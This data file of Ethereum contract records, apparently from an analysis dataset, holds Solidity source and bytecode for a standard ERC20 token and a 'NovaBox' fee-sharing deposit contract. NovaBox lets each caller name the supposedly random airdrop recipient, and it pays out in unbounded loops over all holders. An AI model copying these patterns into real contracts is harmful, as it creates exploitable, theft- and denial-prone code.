* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract FixedCreatorToken is ERC20 {
constructor(string memory name_, string memory symbol_, uint256 totalSupply_) ERC20(name_, symbol_) public {
_mint(msg.sender, totalSupply_);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610e40565b60405180910390f35b6100e660048036038101906100e19190610c8e565b610308565b6040516100f39190610e25565b60405180910390f35b610104610326565b6040516101119190610f42565b60405180910390f35b610134600480360381019061012f9190610c3f565b610330565b6040516101419190610e25565b60405180910390f35b610152610431565b60405161015f9190610f5d565b60405180910390f35b610182600480360381019061017d9190610c8e565b61043a565b60405161018f9190610e25565b60405180910390f35b6101b260048036038101906101ad9190610bda565b6104e6565b6040516101bf9190610f42565b60405180910390f35b6101d061052e565b6040516101dd9190610e40565b60405180910390f35b61020060048036038101906101fb9190610c8e565b6105c0565b60405161020d9190610e25565b60405180910390f35b610230600480360381019061022b9190610c8e565b6106b4565b60405161023d9190610e25565b60405180910390f35b610260600480360381019061025b9190610c03565b6106d2565b60405161026d9190610f42565b60405180910390f35b606060038054610285906110a6565b80601f01602080910402602001604051908101604052809291908181526020018280546102b1906110a6565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610759565b8484610761565b6001905092915050565b6000600254905090565b600061033d84848461092c565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610ec2565b60405180910390fd5b61042585610414610759565b85846104209190610fea565b610761565b60019150509392505050565b60006012905090565b60006104dc610447610759565b848460016000610455610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104d79190610f94565b610761565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053d906110a6565b80601f0160208091040260200160405190810160405280929190818152602001828054610569906110a6565b80156105b65780601f1061058b576101008083540402835291602001916105b6565b820191906000526020600020905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b600080600160006105cf610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561068c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068390610f22565b60405180910390fd5b6106a9610697610759565b8585846106a49190610fea565b610761565b600191505092915050565b60006106c86106c1610759565b848461092c565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c890610f02565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083890610e82565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161091f9190610f42565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390610ee2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390610e62565b60405180910390fd5b610a17838383610bab565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9490610ea2565b60405180910390fd5b8181610aa99190610fea565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b399190610f94565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9d9190610f42565b60405180910390a350505050565b505050565b600081359050610bbf81611370565b92915050565b600081359050610bd481611387565b92915050565b600060208284031215610bec57600080fd5b6000610bfa84828501610bb0565b91505092915050565b60008060408385031215610c1657600080fd5b6000610c2485828601610bb0565b9250506020610c3585828601610bb0565b9150509250929050565b600080600060608486031215610c5457600080fd5b6000610c6286828701610bb0565b9350506020610c7386828701610bb0565b9250506040610c8486828701610bc5565b9150509250925092565b60008060408385031215610ca157600080fd5b6000610caf85828601610bb0565b9250506020610cc085828601610bc5565b9150509250929050565b610cd381611030565b82525050565b6000610ce482610f78565b610cee8185610f83565b9350610cfe818560208601611073565b610d0781611136565b840191505092915050565b6000610d1f602383610f83565b9150610d2a82611147565b604082019050919050565b6000610d42602283610f83565b9150610d4d82611196565b604082019050919050565b6000610d65602683610f83565b9150610d70826111e5565b604082019050919050565b6000610d88602883610f83565b9150610d9382611234565b604082019050919050565b6000610dab602583610f83565b9150610db682611283565b604082019050919050565b6000610dce602483610f83565b9150610dd9826112d2565b604082019050919050565b6000610df1602583610f83565b9150610dfc82611321565b604082019050919050565b610e108161105c565b82525050565b610e1f81611066565b82525050565b6000602082019050610e3a6000830184610cca565b92915050565b60006020820190508181036000830152610e5a8184610cd9565b905092915050565b60006020820190508181036000830152610e7b81610d12565b9050919050565b60006020820190508181036000830152610e9b81610d35565b9050919050565b60006020820190508181036000830152610ebb81610d58565b9050919050565b60006020820190508181036000830152610edb81610d7b565b9050919050565b60006020820190508181036000830152610efb81610d9e565b9050919050565b60006020820190508181036000830152610f1b81610dc1565b9050919050565b60006020820190508181036000830152610f3b81610de4565b9050919050565b6000602082019050610f576000830184610e07565b92915050565b6000602082019050610f726000830184610e16565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610f9f8261105c565b9150610faa8361105c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fdf57610fde6110d8565b5b828201905092915050565b6000610ff58261105c565b91506110008361105c565b925082821015611013576110126110d8565b5b828203905092915050565b60006110298261103c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611091578082015181840152602081019050611076565b838111156110a0576000848401525b50505050565b600060028204905060018216806110be57607f821691505b602082108114156110d2576110d1611107565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6113798161101e565b811461138457600080fd5b50565b6113908161105c565b811461139b57600080fd5b5056fea264697066735822122000ed2c008fd1b310346a6e719f850353c39de42c3ffac92e074db80e04a2bcc064736f6c63430008020033
|
{"success": true, "error": null, "results": {}}
| 1,693 |
0xb1ed51c3c52e59af2bbcd9b084437b7b1c96f888
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface token {
function transfer(address, uint) external returns (bool);
function transferFrom(address, address, uint) external returns (bool);
function allowance(address, address) external constant returns (uint256);
function balanceOf(address) external constant returns (uint256);
}
/** LOGIC DESCRIPTION
* 11% fees in and out for ETH
* 11% fees in and out for NOVA
*
* ETH fees split:
* 6% to nova holders
* 4% to eth holders
* 1% to fixed address
*
* NOVA fees split:
* 6% to nova holders
* 4% to eth holders
* 1% airdrop to a random address based on their nova shares
* rules:
* - you need to have both nova and eth to get dividends
*/
contract NovaBox is Ownable {
using SafeMath for uint;
token tokenReward;
constructor() public {
tokenReward = token(0x72FBc0fc1446f5AcCC1B083F0852a7ef70a8ec9f);
}
event AirDrop(address to, uint amount, uint randomTicket);
// ether contributions
mapping (address => uint) public contributionsEth;
// token contributions
mapping (address => uint) public contributionsToken;
// investors list who have deposited BOTH ether and token
mapping (address => uint) public indexes;
mapping (uint => address) public addresses;
uint256 public lastIndex = 0;
function addToList(address sender) private {
// if the sender is not in the list
if (indexes[sender] == 0) {
// add the sender to the list
lastIndex++;
addresses[lastIndex] = sender;
indexes[sender] = lastIndex;
}
}
function removeFromList(address sender) private {
// if the sender is in temp eth list
if (indexes[sender] > 0) {
// remove the sender from temp eth list
addresses[indexes[sender]] = addresses[lastIndex];
indexes[addresses[lastIndex]] = indexes[sender];
indexes[sender] = 0;
delete addresses[lastIndex];
lastIndex--;
}
}
// desposit ether
function () payable public {
uint weiAmount = msg.value;
address sender = msg.sender;
// number of ether sent must be greater than 0
require(weiAmount > 0);
uint _89percent = weiAmount.mul(89).div(100);
uint _6percent = weiAmount.mul(6).div(100);
uint _4percent = weiAmount.mul(4).div(100);
uint _1percent = weiAmount.mul(1).div(100);
distributeEth(
_6percent, // to nova investors
_4percent // to eth investors
);
//1% goes to REX Investors
owner.transfer(_1percent);
contributionsEth[sender] = contributionsEth[sender].add(_89percent);
// if the sender has also deposited tokens, add sender to list
if (contributionsToken[sender]>0) addToList(sender);
}
// withdraw ether
function withdrawEth(uint amount) public {
address sender = msg.sender;
require(amount>0 && contributionsEth[sender] >= amount);
uint _89percent = amount.mul(89).div(100);
uint _6percent = amount.mul(6).div(100);
uint _4percent = amount.mul(4).div(100);
uint _1percent = amount.mul(1).div(100);
contributionsEth[sender] = contributionsEth[sender].sub(amount);
// if the sender has withdrawn all their eth
// remove the sender from list
if (contributionsEth[sender] == 0) removeFromList(sender);
sender.transfer(_89percent);
distributeEth(
_6percent, // to nova investors
_4percent // to eth investors
);
owner.transfer(_1percent);
}
// deposit tokens
function depositTokens(address randomAddr, uint randomTicket) public {
address sender = msg.sender;
uint amount = tokenReward.allowance(sender, address(this));
// number of allowed tokens must be greater than 0
// if it is then transfer the allowed tokens from sender to the contract
// if not transferred then throw
require(amount>0 && tokenReward.transferFrom(sender, address(this), amount));
uint _89percent = amount.mul(89).div(100);
uint _6percent = amount.mul(6).div(100);
uint _4percent = amount.mul(4).div(100);
uint _1percent = amount.mul(1).div(100);
distributeTokens(
_6percent, // to nova investors
_4percent // to eth investors
);
tokenReward.transfer(randomAddr, _1percent);
// 1% for Airdrop
emit AirDrop(randomAddr, _1percent, randomTicket);
contributionsToken[sender] = contributionsToken[sender].add(_89percent);
// if the sender has also contributed ether add sender to list
if (contributionsEth[sender]>0) addToList(sender);
}
// withdraw tokens
function withdrawTokens(uint amount, address randomAddr, uint randomTicket) public {
address sender = msg.sender;
// requested amount must be greater than 0 and
// the sender must have contributed tokens no less than `amount`
require(amount>0 && contributionsToken[sender]>=amount);
uint _89percent = amount.mul(89).div(100);
uint _6percent = amount.mul(6).div(100);
uint _4percent = amount.mul(4).div(100);
uint _1percent = amount.mul(1).div(100);
contributionsToken[sender] = contributionsToken[sender].sub(amount);
// if sender withdrawn all their tokens, remove them from list
if (contributionsToken[sender] == 0) removeFromList(sender);
tokenReward.transfer(sender, _89percent);
distributeTokens(
_6percent, // to nova investors
_4percent // to eth investors
);
// airdropToRandom(_1percent);
tokenReward.transfer(randomAddr, _1percent);
emit AirDrop(randomAddr, _1percent, randomTicket);
}
function distributeTokens(uint _6percent, uint _4percent) private {
uint totalTokens = getTotalTokens();
uint totalWei = getTotalWei();
// loop over investors (`holders`) list
for (uint i = 1; i <= lastIndex; i++) {
address holder = addresses[i];
// `holder` will get part of 6% fee based on their token shares
uint _rewardTokens = contributionsToken[holder].mul(_6percent).div(totalTokens);
// `holder` will get part of 4% fee based on their ether shares
uint _rewardWei = contributionsEth[holder].mul(_4percent).div(totalWei);
// Transfer tokens equal to the sum of the fee parts to `holder`
tokenReward.transfer(holder,_rewardTokens.add(_rewardWei));
}
}
function distributeEth(uint _6percent, uint _4percent) private {
uint totalTokens = getTotalTokens();
uint totalWei = getTotalWei();
// loop over investors (`holders`) list
for (uint i = 1; i <= lastIndex; i++) {
address holder = addresses[i];
// `holder` will get part of 6% fee based on their token shares
uint _rewardTokens = contributionsToken[holder].mul(_6percent).div(totalTokens);
// `holder` will get part of 4% fee based on their ether shares
uint _rewardWei = contributionsEth[holder].mul(_4percent).div(totalWei);
// Transfer ether equal to the sum of the fee parts to `holder`
holder.transfer(_rewardTokens.add(_rewardWei));
}
}
// get sum of tokens contributed by the ether investors
function getTotalTokens() public view returns (uint) {
uint result;
for (uint i = 1; i <= lastIndex; i++) {
result = result.add(contributionsToken[addresses[i]]);
}
return result;
}
// get the sum of wei contributed by the token investors
function getTotalWei() public view returns (uint) {
uint result;
for (uint i = 1; i <= lastIndex; i++) {
result = result.add(contributionsEth[addresses[i]]);
}
return result;
}
// get the list of investors
function getList() public view returns (address[], uint[]) {
address[] memory _addrs = new address[](lastIndex);
uint[] memory _contributions = new uint[](lastIndex);
for (uint i = 1; i <= lastIndex; i++) {
_addrs[i-1] = addresses[i];
_contributions[i-1] = contributionsToken[addresses[i]];
}
return (_addrs, _contributions);
}
}
|
0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630bb4e6f4146102e85780631288a8e9146103135780632db78d931461036a57806366168bd7146103c15780638da5cb5b1461040e578063942b765a14610465578063c311d04914610519578063c69ea42f14610546578063edf26d9b1461059d578063f08b82e61461060a578063f2fde38b14610635578063f3f6f0d714610678578063fecf9959146106a3575b6000806000806000803495503394506000861115156100e357600080fd5b61010a60646100fc6059896106fa90919063ffffffff16565b61073890919063ffffffff16565b935061013360646101256006896106fa90919063ffffffff16565b61073890919063ffffffff16565b925061015c606461014e6004896106fa90919063ffffffff16565b61073890919063ffffffff16565b915061018560646101776001896106fa90919063ffffffff16565b61073890919063ffffffff16565b90506101918383610762565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156101f8573d6000803e3d6000fd5b5061024b84600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461090190919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156102e0576102df85610922565b5b505050505050005b3480156102f457600080fd5b506102fd610a1a565b6040518082815260200191505060405180910390f35b34801561031f57600080fd5b50610354600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610acb565b6040518082815260200191505060405180910390f35b34801561037657600080fd5b506103ab600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae3565b6040518082815260200191505060405180910390f35b3480156103cd57600080fd5b5061040c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610afb565b005b34801561041a57600080fd5b50610423611093565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047157600080fd5b5061047a6110b8565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b838110156104c15780820151818401526020810190506104a6565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156105035780820151818401526020810190506104e8565b5050505090500194505050505060405180910390f35b34801561052557600080fd5b5061054460048036038101908080359060200190929190505050611265565b005b34801561055257600080fd5b50610587600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611516565b6040518082815260200191505060405180910390f35b3480156105a957600080fd5b506105c86004803603810190808035906020019092919050505061152e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561061657600080fd5b5061061f611561565b6040518082815260200191505060405180910390f35b34801561064157600080fd5b50610676600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611612565b005b34801561068457600080fd5b5061068d611767565b6040518082815260200191505060405180910390f35b3480156106af57600080fd5b506106f860048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061176d565b005b600080600084141561070f5760009150610731565b828402905082848281151561072057fe5b0414151561072d57600080fd5b8091505b5092915050565b60008060008311151561074a57600080fd5b828481151561075557fe5b0490508091505092915050565b600080600080600080610773611561565b955061077d610a1a565b9450600193505b600654841115156108f7576005600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692506108298661081b8a600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106fa90919063ffffffff16565b61073890919063ffffffff16565b915061088f8561088189600260008873ffffffffffffffffffffffffff